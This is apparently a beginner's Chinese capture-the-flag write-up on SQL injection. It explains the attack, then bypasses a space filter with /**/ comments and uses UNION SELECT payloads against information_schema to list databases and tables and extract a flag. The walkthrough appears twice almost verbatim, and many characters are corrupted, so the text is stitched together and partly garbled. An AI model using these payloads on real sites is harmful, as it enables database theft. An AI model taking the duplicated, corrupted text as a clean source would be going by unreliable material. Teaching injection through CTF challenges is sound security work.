所謂sql注入,就是通過把sql命令插入到web表單提交或輸入域名或頁面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的sql命令。接下來給大家分享一個(gè)簡(jiǎn)單的sql注入,一起看看吧
所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。具體來說,它是利用現(xiàn)有應(yīng)用程序,將(惡意)的SQL命令注入到后臺(tái)數(shù)據(jù)庫引擎執(zhí)行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個(gè)存在安全漏洞的網(wǎng)站上的數(shù)據(jù)庫,而不是按照設(shè)計(jì)者意圖去執(zhí)行SQL語句。比如先前的很多影視網(wǎng)站泄露VIP會(huì)員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到sql注入攻擊。
分別輸入1,2,3有對(duì)應(yīng)的結(jié)果
使用’會(huì)報(bào)錯(cuò),于是
構(gòu)造常用的sql語句:1′ and ‘1’=’1
沒有反應(yīng)試一試1′ and ‘1’=’2
還是沒反應(yīng),工具提示,應(yīng)該是過濾了什么,改一下sql語句試一試
1and1=1
可以顯示東西,經(jīng)過判斷過濾了空格,我們使用/**/來代替空格
試一試1’/**/and/**/’1’=’1
發(fā)現(xiàn)有結(jié)果了:
于是構(gòu)建sql語句:
判斷有那些數(shù)據(jù)庫:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
可以看到結(jié)果:
查看有哪些數(shù)據(jù)表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
發(fā)現(xiàn)了flag的表,我們猜測(cè)應(yīng)該是在web1數(shù)據(jù)庫中并且字段就是flag(其實(shí)就在本頁面的數(shù)據(jù)庫中)
故:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
本人也是初學(xué)者,參考了許多大佬的wp 自己寫出來后有什么錯(cuò)誤的地方,希望大家指出,謝謝!
根據(jù)頁面提示,到底過濾了什么東西?可以知道一定過濾了什么….
分別輸入1,2,3有對(duì)應(yīng)的結(jié)果
使用’會(huì)報(bào)錯(cuò),于是
構(gòu)造常用的sql語句:1′ and ‘1’=’1
沒有反應(yīng)試一試1′ and ‘1’=’2
還是沒反應(yīng),工具提示,應(yīng)該是過濾了什么,改一下sql語句試一試
1and1=1
可以顯示東西,經(jīng)過判斷過濾了空格,我們使用/**/來代替空格
試一試1’/**/and/**/’1’=’1
發(fā)現(xiàn)有結(jié)果了:
于是構(gòu)建sql語句:
判斷有那些數(shù)據(jù)庫:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
可以看到結(jié)果:
查看有哪些數(shù)據(jù)表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
發(fā)現(xiàn)了flag的表,我們猜測(cè)應(yīng)該是在web1數(shù)據(jù)庫中并且字段就是flag(其實(shí)就在本頁面的數(shù)據(jù)庫中)
故:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1